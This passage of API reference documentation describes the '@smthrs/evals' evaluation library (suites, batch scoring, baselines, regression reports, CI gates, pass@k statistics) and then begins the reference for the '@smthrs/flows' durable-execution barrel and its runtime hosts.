| `scorer_unavailable`  | No batch runner was available to score with.                                                                                               | The wiring                |

Most failures carry a `path` locating the offending value: `cases[1].input`,
`records[3].score`, `options.at`, `runBatch[0]`. A case whose target failed keeps
the executor's own path when it named one and is located at `cases['<name>']`
otherwise, so a failed case is always locatable. Only two failures carry no path:
one about an artifact as a whole (`Baseline` is not JSON, or is not an object)
and one about the absence of a runner (`scorer_unavailable`).

## The batch protocol

`Runner.ScoreBatchRunner.runBatchCorrelated` returns each observation with its
job identity. A correlated runner may return results in any order. A run rejects
a duplicate identity, an unknown identity, a missing identity, the wrong result
count, or an observation that does not echo its job's `targetStepKey` and
`scorerKey` with `scorer_protocol`.

`runBatch` remains the order-only protocol for adapters that cannot return job
identities. Its contract is positional:

1. Exactly one observation per job.
2. In the order the jobs were given.
3. Each observation repeats its job's `targetStepKey` and `scorerKey`.

A run verifies all three and fails with `scorer_protocol` when one is broken.
Before calling an order-only runner, it also refuses two jobs that share a step
key and scorer with `ambiguous_score_job`. Give each case its own step key, or
provide a runner that implements `runBatchCorrelated`. A returned score that is
not finite and inside [0, 1] becomes an inconclusive observation naming the
scorer and the offending value; the run's own timestamp, not the adapter's, is
what reaches the observation.

Both adapter methods retain their receiver and receive the suite's concurrency.
Scorer callbacks execute inside their job effects. A callback that throws
synchronously or a batch that fails produces inconclusive observations; failure
text is bounded and safe to convert. Interruption still cancels the run.
`layerNoop` returns identity-correlated inconclusive results, including when
cases share a step key and scorer, without invoking scorer callbacks.

## Determinism and limits

- `Runner.run` takes `runId` and `at` from the caller. `runId` identifies the
  `RunResult` and joins every score job's identity; `at` stamps every
  observation. Given identical executor results, scorer results, metadata, and
  options, two runs produce identical observations and identical `Report.json`
  bytes. Executor and scorer effects run afresh each time, so clocks, models,
  randomness, and external state inside them are the caller's to control.
- When the `Suite.make` effect runs, it snapshots its options, copies case and
  binding data with `structuredClone`, and freezes the arrays it returns. The
  suite cannot change after it is validated.
- `Suite.limits` declares the ceilings: `concurrency` 1024, `cases` 10000,
  `fixtureLength` 8388608 code units for one JSON Lines fixture.
- `Report.json` embeds each case's raw `execution.output`. Strings are capped at
  8192 code units and everything JSON cannot express becomes a named marker
  (`[circular]`, `[depth exceeded]`, `[NaN]`, `[function]`), so the serializer is
  total. Nothing is redacted: a suite whose cases carry secrets must not print
  the report where the log is readable.
- The encoder is bounded in total, not only per branch. A value referenced
  twice is expanded twice, which a shared acyclic graph turns into exponential
  work well below the depth ceiling, so traversal stops after 2000000 values or
  33554432 output code units and every remaining value becomes
  `[budget exceeded]`. The budget is spent in traversal order, which the key
  sort fixes, so one value always truncates at the same place.
- `Report.markdown` neutralizes inline GFM and raw HTML in every cell and the
  suite heading value. It caps each value at 240 escaped UTF-16 code units,
  plus an ellipsis when truncated, without splitting escapes or code points.

## Module reference

The root entry point exports these namespaces; each is also importable from
`@smthrs/evals/<Module>`. `@smthrs/evals/package.json` is exported too;
`internal/*` and nested `*/index` subpaths are not public.

### EvalError

Typed evaluation failures and the stable codes a caller branches on.

```ts
class EvalError extends Schema.TaggedError<EvalError>()("flows/evals/EvalError", {
  code: EvalErrorCode,
  message: Schema.String,
  path: Schema.optional(Schema.String),
  cause: Schema.optional(Schema.Defect())
}) {}
```

`code` is the stable branch point, `message` is the sentence a CI log shows,
and `path` locates the offending value inside the input the caller supplied
(`records[3].score`, `cases[1].input`, `options.at`). `cause` retains the
original failure; it is never rendered on its own, so a message that matters
to an operator says so itself. `EvalErrorCode` is the schema and type for the
nine codes in the failure table.

### Suite

Fixed suite declarations and their JSON Lines fixture format.

- `Case`: `{ name, input, expected? }`. `input` is handed to the executor and
  `expected` is offered to a bound scorer as ground truth. A declared
  `expected`, including `null`, wins over the binding's `groundTruth`; only an
  absent one defers to the binding. Both are snapshots taken by `make`.
- `Binding`: a scorer binding accepted from [@smthrs/scorers](/docs/reference/api/scorers/).
  The binding's `appliesTo` flow is matched against an execution's `target` by
  reference identity.
- `MakeOptions`: `{ name, cases, bindings?, concurrency }`.
- `Suite`: `{ name, cases, bindings, concurrency }`, with `cases` and
  `bindings` frozen and every data field a copy the caller cannot reach.
- `limits`: `{ concurrency: 1024, cases: 10000, fixtureLength: 8388608 }`, the
  declared ceilings a suite is validated against.

```ts
const make = (options: MakeOptions): Effect.Effect<Suite, EvalError>
```

Builds and validates a fixed suite. When the effect runs, it reads every
option, case field, and binding field exactly once, then validates and copies
only what it read, so a getter cannot hand the suite a value validation never
saw. Every case and binding is then copied with `structuredClone`, which is
also the check that the data is inert. Fails with `invalid_suite` for an empty
or control-character name, no cases, more than `limits.cases` cases, a
duplicate case name, or a concurrency that is not a safe integer in
[1, `limits.concurrency`].

```ts
const fromJsonLines = (text: string, options: JsonLinesOptions): Effect.Effect<Suite, EvalError>
```

Loads the `{ name, input, expected? }` JSON Lines fixture format.
`JsonLinesOptions` is `{ name, bindings?, concurrency }`. Blank lines are
skipped, a leading byte-order mark is stripped, and both LF and CRLF terminate
a line. A malformed line fails with `invalid_suite` carrying the 1-based line
number in both the message and the path; a fixture larger than
`limits.fixtureLength` is rejected before any of it is parsed. All ceilings
are inclusive. After 10000 cases, the next non-blank line fails before parsing
or decoding with `invalid_suite` at `cases` and the message
`Suite must contain at most 10000 cases, got 10001`; later lines are not decoded.

### CaseExecutor

The injectable boundary that executes one case against a target flow. A suite
says what to run; this service says how.

- `Execution`: `{ output, stepKey, latencyMs, target }`. `target` is the flow
  value the case actually executed, matched against each binding's `appliesTo`
  by reference identity, so it has to be the declared flow itself rather than
  a copy of it.
- `Run`: `(suiteCase: Suite.Case) => Effect.Effect<Execution, EvalError>`.
- `Service`: `{ run: Run }`.
- `CaseExecutor`: the `Context.Service` tag, `flows/evals/CaseExecutor`.

```ts
const make = (run: Run): Service
```

Builds an executor from its one callback. Throws a `TypeError` when `run` is
not a function: an executor that
silently degraded would turn one wiring mistake into a whole suite of cases
failing with `executor`, which reads as a broken target rather than a missing
one.

`makeNoop()` builds an executor that fails every case with a typed `executor`
error, and `layerNoop` provides it.

### Runner

Deterministic suite execution and bound scorer evaluation.

- `Observation`: one score observation emitted by a suite run. Every
  observation carries `case`, `scorer`, `stepKey`, and `at`, plus an optional
  `scorerName`; a `score` observation adds `score` in [0, 1] with an optional
  `reason`, and an `inconclusive` observation adds a required `reason`. Both
  kinds may carry `meta`. `at` is the run's timestamp, not the scorer's: a
  run's observations all carry one instant so a baseline stays reproducible.
- `ScoreRequest`: a request sent to the scorers batch runner, joining the
  case, the step key, the binding, and the scorer input (`input`, `output`,
  optional `groundTruth` and `context`, `latencyMs`).
- `ScoreJob`: a blocking scorer job, matching the `Runner` module in
  [@smthrs/scorers](/docs/reference/api/scorers/): an `identity`, an `observation` seed with
  `targetStepKey` and `scorerKey`, the `score` effect, and `at` in
  milliseconds.
- `ScoreObservation`: a score result aligned with a `ScoreRequest`.
- `BatchResult`: `{ identity, observation }`, a batch result tagged with the
  identity of the job that produced it.
- `CaseResult`: `{ case, execution?, error?, observations }`, the per-case
  result retained by the runner.
- `RunResult`: `{ runId, suite, cases, observations }`, the stable result of a
  suite run.
- `RunOptions`: `{ scorer?, runId, sampleId?, at }`.
- `Runner`: the `Context.Service` tag, `flows/evals/Runner`, for an injectable
  batch runner. `run` does not require it: a run scores with `options.scorer`
  when one is passed, otherwise with this service when one is provided,
  otherwise in process through `makeInline`.
- `ScoreBatchRunner`: the structural adapter described in the batch protocol
  section.

```ts
const run = (
  suite: Suite,
  options: RunOptions
): Effect.Effect<RunResult, EvalError, CaseExecutor>
```

Runs a fixed suite with bounded execution and declaration-order results. Cases
run through the provided `CaseExecutor` at the suite's concurrency. Every
execution is graded by the bindings whose `appliesTo` is the flow the
execution reports as its target, matched by reference identity. A case whose
target failed keeps its typed error and produces no observations; a scorer
that failed produces an inconclusive observation. The run itself fails only
with `invalid_run_options` for a non-canonical run identity or timestamp,
`invalid_suite` for an unusable sampling policy, `ambiguous_score_job` when an
order-only runner cannot distinguish two jobs, or `scorer_protocol` for a
batch runner that broke the `ScoreBatchRunner` contract.

```ts
const makeInline = (): ScoreBatchRunner
```

Builds the in-process batch runner a run scores with by default. Each job's
scorer runs in the current process, its result is checked by the scorers
package's own `Scorer.validate`, and a scorer that fails becomes an
inconclusive observation naming its cause rather than failing the run.
`layerInline` provides it as the `Runner` service.

`layerNoop` provides a batch runner that is never available. Every bound score
under it becomes an inconclusive observation, which a gate grades as an
undecidable run rather than a red. Provide it to state that a suite must not
score.

### Baseline

Committed baselines: what a suite used to score.

- `version`: `1`, the current committed baseline artifact version.
- `BaselineRecord`: `{ suite, case, scorer, scorerName?, stepKey, score }`,
  one successful score retained by a baseline.
- `Baseline`: `{ version, suite, records }`. `suite` records artifact
  ownership even when `records` is empty.
- `limits`: `{ length: 16777216 }`, the longest baseline JSON text `load`
  parses, in UTF-16 code units.

```ts
const fromRun = (run: RunResult): Effect.Effect<Baseline, EvalError>
```

Builds and validates a baseline from a run's successful observations.
Inconclusive observations are dropped: a baseline records what was measured,
and an inconclusive observation measured nothing.

```ts
const make = (
  baseline: Omit<Baseline, "version"> & { readonly version?: typeof version }
): Effect.Effect<Baseline, EvalError>
```

Validates an in-memory baseline. Every known field is read once, records are
rebuilt from the validated values, and the array is frozen. Fails with
`invalid_baseline` carrying the record index and field name in `path` for a
wrong version, a non-array `records`, a record that is not an object, an
identity field that is not a string or holds a control character, or a score
that is not finite in [0, 1]. A control character is any of the C0 controls (U+0000 through U+001F), DEL (U+007F), C1 controls (U+0080
through U+009F), and the bidirectional controls U+061C, U+200E, U+200F,
U+202A through U+202E, and U+2066 through U+2069.
A top-level `suite` holding a control character fails at `path: "suite"`.

```ts
const write = (baseline: Baseline): string
const load = (text: string): Effect.Effect<Baseline, EvalError>
```

`write` serializes a baseline with recursively sorted keys and stable numbers,
records ordered by an injective encoding of `(suite, case, scorer, stepKey)`,
ending with a newline and always including the top-level `suite`. `load`
parses and validates baseline JSON, failing with `invalid_baseline`. For a
version-1 artifact without a top-level `suite`, it derives ownership only when
all records name the same suite. Empty or ambiguous legacy artifacts fail at
`path: "suite"` with an explicit reason. A present non-string `suite` is invalid.
Text longer than `limits.length` fails at `path: "text"` before any of it is
parsed.
Writing the loaded baseline retains its scores and adds the inferred `suite`.

### Regression

Step-key-aware comparison of a run against a baseline.

- `Tolerances`: `{ absolute?, relative? }`. A move is reported only when it
  exceeds both tolerances, so either one alone is enough to silence it. Both
  default to 0, which reports every move.
- `Regression`: `{ case, scorer, baseline, actual, drop }`, a score drop at a
  changed step key.
- `Nondeterminism`: `{ case, scorer, baseline, actual, delta }`, a changed
  score at the same step key.
- `MissingObservation`: `{ side, case, scorer, scorerName?, stepKey }`. `side`
  names the side the observation is missing from: `"run"` for a baseline
  record the run never reproduced, `"baseline"` for a score no baseline record
  accounts for.
- `Report`: `{ suite, baseline, run, regressions, nondeterminism, missing,
  samples, inconclusive }`, the complete comparison. `samples` and
  `inconclusive` are in-memory views filtered out of `run.observations` by
  `kind`; `Report.json` recomputes rather than serializes them.

```ts
const compare = (
  baseline: Baseline,
  run: RunResult,
  tolerances?: Tolerances
): Effect.Effect<Report, EvalError>
```

Compares a run to a baseline, preserving missing and inconclusive
observations. Records and observations are grouped by `(case, scorer)` and
then paired by step key, so a scorer that ran several times against one case
is compared pairwise instead of by array position. Fails with
`invalid_tolerance` when a tolerance is not finite and non-negative, and with
`invalid_baseline` when the artifact or any of its records belongs to a suite
other than the one the run reports.

### Report

Canonical JSON and Markdown renderings of a comparison.

```ts
const version: 1
interface Data {
  readonly reportVersion: 1
  readonly suite: string
  readonly baseline: Baseline.Baseline
  readonly run: { runId, suite, cases: ReadonlyArray<Case>, observations: ReadonlyArray<Runner.Observation> }
  readonly regressions: ReadonlyArray<Omit<Regression.Regression, "actual"> & { actual: number }>
  readonly nondeterminism: ReadonlyArray<Omit<Regression.Nondeterminism, "actual"> & { actual: number }>
  readonly missing: ReadonlyArray<Regression.MissingObservation>
}
const data = (report: Regression.Report): Data
const json = (report: Regression.Report): string
const markdown = (report: Regression.Report): string
```

`Data` is the serialized wire shape and `version` is the format version
stamped on it as `reportVersion`. It versions the comparison independently of
the nested `Baseline.version`: the wire shape can change without the committed
baseline artifact changing.

`run.observations` is the observation table. Every observation the report
mentions appears in it exactly once and everything else refers to one by
index: `run.cases[i].observations` is a list of indexes, and a regression or
nondeterminism entry's `actual` is a single index. `samples` and
`inconclusive` are absent, because both are filters of `run.observations` by
`kind` and a reader recomputes them. An in-memory `Regression.Report` holds
the same observation in up to four of those places, so encoding it directly
repeated every `reason` and every `meta` that many times.

`data` projects a comparison into that shape. Observations are pooled by
identity, not by value, so two distinct objects that happen to be equal stay
two rows. The table starts as `run.observations` and grows to hold any
observation reached only through a case or a comparison entry, so a hand-built
report whose case lists are not flattened still serializes every reference.

`json` serializes a regression report as stable, sorted-key `Data` JSON. The
report embeds each case's raw `execution.output`, which comes from an
arbitrary target flow, so the encoding is total rather than trusting: keys are
sorted by code unit, embedded strings are capped, total traversal is bounded,
and anything JSON cannot express becomes a named marker instead of a
`RangeError` or a silent `null`. Two identical runs therefore produce
byte-identical JSON. Nothing redacts the embedded output.

`markdown` renders the report an operator reads in a CI log. Every count in
the summary that is not zero has a section naming its rows: the regressions
and the nondeterminism a gate reads as red, and the case failures, missing
observations, and inconclusive observations that leave a gate undecided.
Every cell and the suite heading value replace each control character (see
[Baseline](#baseline)) with a space. Backslashes, pipes, backticks, asterisks,
underscores, brackets, angle brackets, exclamation marks, hashes, tildes,
ampersands, dots, colons, and at signs are backslash-escaped. This preserves
literal text instead of interpreting table delimiters, inline GFM formatting,
links, images, raw HTML, entities, or URL/email autolinks. Each value is capped
at 240 escaped UTF-16 code units, followed by an ellipsis when truncated;
escapes and Unicode code points remain whole.

### Gate

Score thresholds and the CI exit grade a comparison earns.

- `Options`: `{ mean?, min?, perCase? }`. `mean` gates the arithmetic mean of
  every score observation, `min` gates the lowest one, and `perCase` gates
  each named case's lowest score. With none of them set the gate still runs,
  as `mean(0)`, so a run with no score at all is undecidable rather than a
  pass.

```ts
const check = (report: Regression.Report, options?: Options): Effect.Effect<Verdict, ScoreGateError>
```

Checks thresholds through the shared ScoreGate arithmetic in
[@smthrs/scorers/ScoreGate](/docs/reference/api/scorers/). The threshold gates always run: an
unobserved case cannot excuse the cases that were observed. Regressions and
nondeterminism are findings and force a `Failed` verdict; failed cases and
missing observations are environment faults and travel beside the verdict. A
threshold outside [0, 1] fails in the error channel with a `ScoreGateError`,
code `invalid_threshold`.

```ts
const ciGrade = (verdict: Verdict): { readonly exitCode: 0 | 1 | 5; readonly summary: string }
```

Maps a gate verdict to the shared CI convention: a finding is exit code 1, an
undecidable run is exit code 5, and a clean pass is exit code 0. A pass that
carries unresolved observations exits 5 as well: the gates it met were met
over fewer observations than the suite declared. The summary is one log line:
every control character in it is replaced with a space, so a step key or a
target failure that reached a verdict reason cannot print its own line or a
terminal escape.

### Trials

Repeated-run statistics for live model evaluations. A case that runs `n`
times and passes `c` of them is summarized at `k`.

```ts
const passAtK = (n: number, c: number, k: number): number
const passHatK = (n: number, c: number, k: number): number
```

`passAtK` is the unbiased estimator `1 - C(n - c, k) / C(n, k)` (Chen et al.,
2021): the chance at least one of `k` runs passes. `passHatK` is
`C(c, k) / C(n, k)`: the chance all `k` pass, the consistency measure of
tau-bench. Both are computed as products, so large `n` stays exact. Counts must
be integers with `0 <= c <= n` and `1 <= k <= n`; anything else throws an
`EvalError` with code `invalid_trials`.

```ts
const summarize = (outcomes: ReadonlyArray<boolean>, k: number): Summary
const aggregate = (cases: Readonly<Record<string, ReadonlyArray<boolean>>>, k: number): Aggregate
```

- `Summary`: `{ n, passes, rate, passAt1, passAtK, passHatK, stderr }`.
  `stderr` is `sqrt(rate * (1 - rate) / n)`, and 0 for one run.
- `Aggregate`: `{ cases, passAt1, passAtK, passHatK, allPass, perCase }`. The
  rates are means over cases; `allPass` is the fraction of cases whose every
  run passed. A case with fewer than `k` runs is summarized at `k = n`, and no
  cases aggregate to zeros. A case with no runs throws `invalid_trials`.

## Export index

| Export                          | Category      | Summary                                                                         |
| ------------------------------- | ------------- | ------------------------------------------------------------------------------- |
| `EvalError.EvalErrorCode`       | models        | Stable evaluation failure codes.                                                |
| `EvalError.EvalError`           | errors        | A typed failure raised while loading or executing an evaluation.                |
| `Suite.Binding`                 | models        | A scorer binding accepted from `@smthrs/scorers`.                               |
| `Suite.Case`                    | models        | One immutable fixed-suite case.                                                 |
| `Suite.MakeOptions`             | models        | Options for constructing a suite.                                               |
| `Suite.Suite`                   | models        | A validated, named collection of fixed cases and scorer bindings.               |
| `Suite.limits`                  | models        | The declared ceilings a suite is validated against.                             |
| `Suite.make`                    | constructors  | Builds and validates a fixed suite.                                             |
| `Suite.JsonLinesOptions`        | models        | Options used when decoding JSON Lines.                                          |
| `Suite.fromJsonLines`           | constructors  | Loads the `{ name, input, expected? }` JSON Lines fixture format.               |
| `Suite.encodeData`              | encoding      | Encodes a versioned durable envelope preserving cloneable suite data.           |
| `Suite.decodeData`              | decoding      | Decodes durable suite data without evaluating JavaScript.                       |
| `CaseExecutor.Execution`        | models        | The result of executing one target-flow case.                                   |
| `CaseExecutor.Run`              | models        | The one callback a case executor is.                                            |
| `CaseExecutor.Service`          | services      | Runtime shape for an injectable target-flow executor.                           |
| `CaseExecutor.CaseExecutor`     | services      | Injectable execution boundary for a target flow.                                |
| `CaseExecutor.make`             | constructors  | Builds an executor from its one callback.                                       |
| `CaseExecutor.makeNoop`         | constructors  | Builds an executor that fails every case with a typed executor error.           |
| `CaseExecutor.layerNoop`        | layers        | Provides the unavailable executor.                                              |
| `Runner.Observation`            | models        | One score observation emitted by a suite run.                                   |
| `Runner.ScoreRequest`           | models        | A request sent to the scorers batch runner.                                     |
| `Runner.ScoreJob`               | models        | A blocking scorer job, matching the `Runner` module of `@smthrs/scorers`.       |
| `Runner.ScoreBatchRunner`       | services      | Structural adapter for `@smthrs/scorers`' blocking batch runner.                |
| `Runner.ScoreObservation`       | models        | A score result aligned with a `ScoreRequest`.                                   |
| `Runner.BatchResult`            | models        | A batch result tagged with the identity of the job that produced it.            |
| `Runner.CaseResult`             | models        | Per-case result retained by the deterministic runner.                           |
| `Runner.RunResult`              | models        | Stable result of a suite run.                                                   |
| `Runner.RunOptions`             | models        | Options for a deterministic suite run.                                          |
| `Runner.Runner`                 | services      | Injectable batch-runner service used when a caller wants a reusable adapter.    |
| `Runner.makeInline`             | constructors  | Builds the in-process batch runner a run scores with by default.                |
| `Runner.layerInline`            | layers        | Provides the in-process batch runner built by `makeInline`.                     |
| `Runner.run`                    | constructors  | Runs a fixed suite with bounded execution and declaration-order results.        |
| `Runner.layerNoop`              | layers        | Provides a batch runner that is never available.                                |
| `Baseline.version`              | models        | Current committed baseline artifact version.                                    |
| `Baseline.BaselineRecord`       | models        | One successful score retained by a baseline.                                    |
| `Baseline.Baseline`             | models        | Canonical committed evaluation baseline.                                        |
| `Baseline.limits`               | models        | The declared ceilings a committed baseline is validated against.                |
| `Baseline.fromRun`              | constructors  | Builds and validates a baseline from a run's successful observations.           |
| `Baseline.make`                 | constructors  | Validates an in-memory baseline.                                                |
| `Baseline.write`                | serialization | Serializes a baseline with recursively sorted keys and stable numbers.          |
| `Baseline.load`                 | serialization | Loads and validates canonical baseline JSON.                                    |
| `Regression.Tolerances`         | models        | Tolerances used for score comparisons.                                          |
| `Regression.Regression`         | models        | A score drop at a changed step key.                                             |
| `Regression.Nondeterminism`     | models        | A changed score at the same step key, indicating nondeterminism.                |
| `Regression.MissingObservation` | models        | An observation present on only one side of a comparison.                        |
| `Regression.Report`             | models        | Complete regression comparison.                                                 |
| `Regression.compare`            | constructors  | Compares a run to a baseline, preserving missing and inconclusive observations. |
| `Report.version`                | serialization | Current serialized report format version.                                       |
| `Report.Data`                   | serialization | The serialized shape of a regression report.                                    |
| `Report.data`                   | serialization | Projects a comparison into its serialized form.                                 |
| `Report.json`                   | serialization | Serializes a regression report as stable, sorted-key JSON.                      |
| `Report.markdown`               | rendering     | Renders a concise stable Markdown regression report.                            |
| `Gate.Options`                  | models        | Thresholds accepted by a CI score gate.                                         |
| `Gate.check`                    | constructors  | Checks thresholds through `@smthrs/scorers`' shared ScoreGate arithmetic.       |
| `Gate.ciGrade`                  | grading       | Maps a gate verdict to the shared CI convention.                                |
| `Trials.Summary`                | models        | Repeated-run statistics for one case.                                           |
| `Trials.Aggregate`              | models        | Repeated-run statistics averaged over cases.                                    |
| `Trials.passAtK`                | statistics    | The unbiased pass@k estimator.                                                  |
| `Trials.passHatK`               | statistics    | The chance all `k` of `n` recorded runs pass.                                   |
| `Trials.summarize`              | statistics    | Summarizes one case's run outcomes at `k`.                                      |
| `Trials.aggregate`              | statistics    | Summarizes every case at `k` and averages over cases.                           |

## A worked suite

[`packages/smithers/agent/regression`](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/regression)
is a suite built on these modules that evaluates the Smithers agent from
[@smthrs/agent](/docs/reference/api/agent/). Each case is a whole agent run against a scripted
model with no network access, reduced to one observation, and two scorers grade
it: one asks whether the run did what the case declares, the other asks whether
the observation is well formed at all. The run is gated on a committed
baseline. For the shape of that pipeline in your own code, see
[Gate a run in CI](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/evals/docs/guides/gate-a-run-in-ci.md).

## Durable suite data

`Suite.encodeData(value)` and `Suite.decodeData(source)` are Effect APIs over
devalue 5.9.2's data serializer/parser. The `devalue-5.9.2:` envelope preserves
cycles, repeated references, sparse arrays, null-prototype records, bigint,
undefined, non-finite numbers and negative zero. No code is evaluated.
Unsupported executable values, corrupt data and unknown wire versions fail
with `invalid_suite`. Keep the pinned decoder when upgrading the serializer;
existing journal payloads must remain readable.

The CLI uses this envelope for its caller-owned evaluation action. The engine
resumes the original request rather than substituting fresh CLI defaults.

A correlated batch result may include `recorded`. When it is `"failed"`,
`Runner.run` fails with `scorer_unavailable`; a failed durable write must not
be journaled as a successful evaluation. Missing `recorded` preserves the
in-process adapter protocol.

---

# @smthrs/flows
https://smithers.sh/docs/reference/api/flows/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/docs)

> **Related APIs:** [`@smthrs/artifacts`](/docs/reference/api/artifacts/) · [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/engine`](/docs/reference/api/engine/) · [`@smthrs/engine-store`](/docs/reference/api/engine-store/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/keys`](/docs/reference/api/keys/) · [`@smthrs/observability`](/docs/reference/api/observability/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/plan-store`](/docs/reference/api/plan-store/) · [`@smthrs/run-store`](/docs/reference/api/run-store/) · [`@smthrs/sandbox`](/docs/reference/api/sandbox/) · [`@smthrs/step-cache`](/docs/reference/api/step-cache/) · [`@smthrs/sync`](/docs/reference/api/sync/) · [`@smthrs/time-travel`](/docs/reference/api/time-travel/)

`@smthrs/flows` has these public entry points.

| Entry point             | Contents                                                                                            |
| ----------------------- | --------------------------------------------------------------------------------------------------- |
| `@smthrs/flows`         | The barrel: twenty engine packages re-exported, plus `Runtime` and `namespaces`.                    |
| `@smthrs/flows/Runtime` | The same `Runtime` namespace: the engine and its stores over injected Effect SQL and host services. |

```ts
import { Action, Flow, Kernel, RunStore, Runtime } from "@smthrs/flows"
```

`@smthrs/flows/internal/*` and `@smthrs/flows/*/index` are blocked in the export
map and are not public.

The barrel imports no platform code, so it bundles for a browser and for a
Cloudflare Worker. A program picks its host from a platform package:

| Host              | Package                                                             | Runtime                   |
| ----------------- | ------------------------------------------------------------------- | ------------------------- |
| Node.js           | [`@smthrs/platform-node`](/docs/reference/api/platform-node/#noderuntime) | `NodeRuntime.layerHost`   |
| Bun               | [`@smthrs/platform-bun`](/docs/reference/api/platform-bun/#bunruntime)    | `BunRuntime.layerHost`    |
| Cloudflare Worker | [`@smthrs/platform-cloudflare`](/docs/reference/api/platform-cloudflare/) | `CloudflareRuntime.layer` |
| Browser tab       | [`@smthrs/platform-browser`](/docs/reference/api/platform-browser/)       | `BrowserRuntime.run`      |

Each of them composes [`Runtime`](#runtime) over its own SQL client and host
services. Durable execution on a native host is tested on Node.js 22.19+ and
Bun 1.4+; `engines` requires Node `>=22.19.0`.

## Example

```ts
import { Action, Flow, Interpreter } from "@smthrs/flows"
import { NodeRuntime } from "@smthrs/platform-node"
import { Effect, Layer, Schema } from "effect"
const Greet = Action.make("demo/Greet", { payload: { name: Schema.String }, success: Schema.String })
const Hello = Flow.make("demo/Hello", {
  payload: { name: Schema.String },
  success: Schema.String,
  body: (payload) => Greet.call(payload)
})
const code = Interpreter.layer(Hello).pipe(
  Layer.provideMerge(Greet.toLayer(({ name }) => Effect.succeed(`hi ${name}`))),
  Layer.provideMerge(Action.layerImplementations)
)
const host = NodeRuntime.layerHost(
  { filename: ".flows/engine.db", workspaceRoot: ".", owner: { hostId: "demo" } },
  code
)
console.log(
  await Effect.runPromise(
    Hello.execute({ name: "ada" }, { executionId: "demo-1" }).pipe(Effect.provide(host), Effect.scoped)
  )
)
```

## The barrel

### Namespace exports

Each engine package is re-exported as a namespace, so a package's own module is
one level below it (`Journal.SqlJournal.layer`).

| Namespace       | Package                                                 |
| --------------- | ------------------------------------------------------- |
| `Artifacts`     | [`@smthrs/artifacts`](/docs/reference/api/artifacts/)         |
| `Canonical`     | [`@smthrs/canonical`](/docs/reference/api/canonical/)         |
| `Capability`    | [`@smthrs/capability`](/docs/reference/api/capability/)       |
| `Crypto`        | [`@smthrs/crypto`](/docs/reference/api/crypto/)               |
| `Database`      | [`@smthrs/database`](/docs/reference/api/database/)           |
| `Engine`        | [`@smthrs/engine`](/docs/reference/api/engine/)               |
| `EngineStore`   | [`@smthrs/engine-store`](/docs/reference/api/engine-store/)   |
| `Jj`            | [`@smthrs/jj`](/docs/reference/api/jj/)                       |
| `Journal`       | [`@smthrs/journal`](/docs/reference/api/journal/)             |
| `Kernel`        | [`@smthrs/kernel`](/docs/reference/api/kernel/)               |
| `Keys`          | [`@smthrs/keys`](/docs/reference/api/keys/)                   |
| `Observability` | [`@smthrs/observability`](/docs/reference/api/observability/) |
| `Plan`          | [`@smthrs/plan`](/docs/reference/api/plan/)                   |
| `PlanStore`     | [`@smthrs/plan-store`](/docs/reference/api/plan-store/)       |
| `RunStore`      | [`@smthrs/run-store`](/docs/reference/api/run-store/)         |
| `Sandbox`       | [`@smthrs/sandbox`](/docs/reference/api/sandbox/)             |
| `StepCache`     | [`@smthrs/step-cache`](/docs/reference/api/step-cache/)       |
| `Sync`          | [`@smthrs/sync`](/docs/reference/api/sync/)                   |

Namespacing is what preserves constructors like
`Kernel.ChildProcessSpawner.layerNoop` and `RunStore.RunStore.layer`. The
`Capability` namespace owns exact-resource bounds, the pattern grammar, and
permission failures; `Plan` owns step identity, graph compilation, and static
effect declarations, with `PlanStore` holding the append-only rows they are
recorded in; `Journal` owns the append-only event record
every durable run replays from and the redaction rules that keep a credential
out of both a committed row and a log line.

### Flat exports

[`@smthrs/flow`](/docs/reference/api/flow/) is re-exported flat, so all of its namespaces sit at
the top level: `Action`, `Deadline`, `DurableClock`, `DurableDeferred`,
`DurableQueue`, `ExternalJob`, `Fault`, `Flow`, `FlowRuntime`, `Graph`,
`HumanTask`, `Interpreter`, `Poll`, `RetryPolicy`, `Sleep`, `SpanFailure`,
`Stall`, `StepIdentity`, and `WaitFor`.

`TimeTravel` from [`@smthrs/time-travel`](/docs/reference/api/time-travel/) is the second flat
export, and it is a service key rather than a namespace:

```ts
import { TimeTravel } from "@smthrs/flows"

const program = Effect.gen(function*() {
  const timeTravel = yield* TimeTravel
})
```

`TimeTravel.layer` provides it. The rest of that package, including `Frame`,
`TimeTravelStore`, and `EffectBoundary`, is reached through
`@smthrs/time-travel` directly.

`Runtime` is the barrel's own module. It is described [below](#runtime).

The `@smthrs/platform-*` bundles are deliberately absent, and with them every
native composition: `NodeRuntime`, `SandboxedFlow` and `TestNodeRuntime` live in
[`@smthrs/platform-node`](/docs/reference/api/platform-node/), and `BunRuntime` in
[`@smthrs/platform-bun`](/docs/reference/api/platform-bun/). A program chooses
those, [`@smthrs/platform-browser`](/docs/reference/api/platform-browser/), or
[`@smthrs/platform-cloudflare`](/docs/reference/api/platform-cloudflare/) directly.

### `namespaces`

```ts
const namespaces: ReadonlyArray<string>
```

The sorted list of every name this barrel exports, covering both the per-package
namespaces and the flat authoring names. It is the package's one runtime value,
and it names the whole engine: enumerate it to build a documentation index or a
conformance check over the surface you depend on.

## Runtime

```ts
import { Runtime } from "@smthrs/flows"
```

The durable engine and its stores over an injected SQL client and injected host
services. It opens no driver and names no file, so it runs wherever its host can
supply those services, a Worker included. `NodeRuntime` in
`@smthrs/platform-node` and `BunRuntime` in `@smthrs/platform-bun` are this
composition bound to their native hosts.

The host supplies, as layer requirements:

- `SqlClient`, the database the stores migrate and use;
- Effect's `Crypto` and the kernel `Jj`;
- `OwnerIdentity` from [`@smthrs/engine-store`](/docs/reference/api/engine-store/#owneridentity),
  the incarnation the engine fences its writes with;
- whatever the `stepBoundary` and `workspaceSandbox` layers it passes need. The
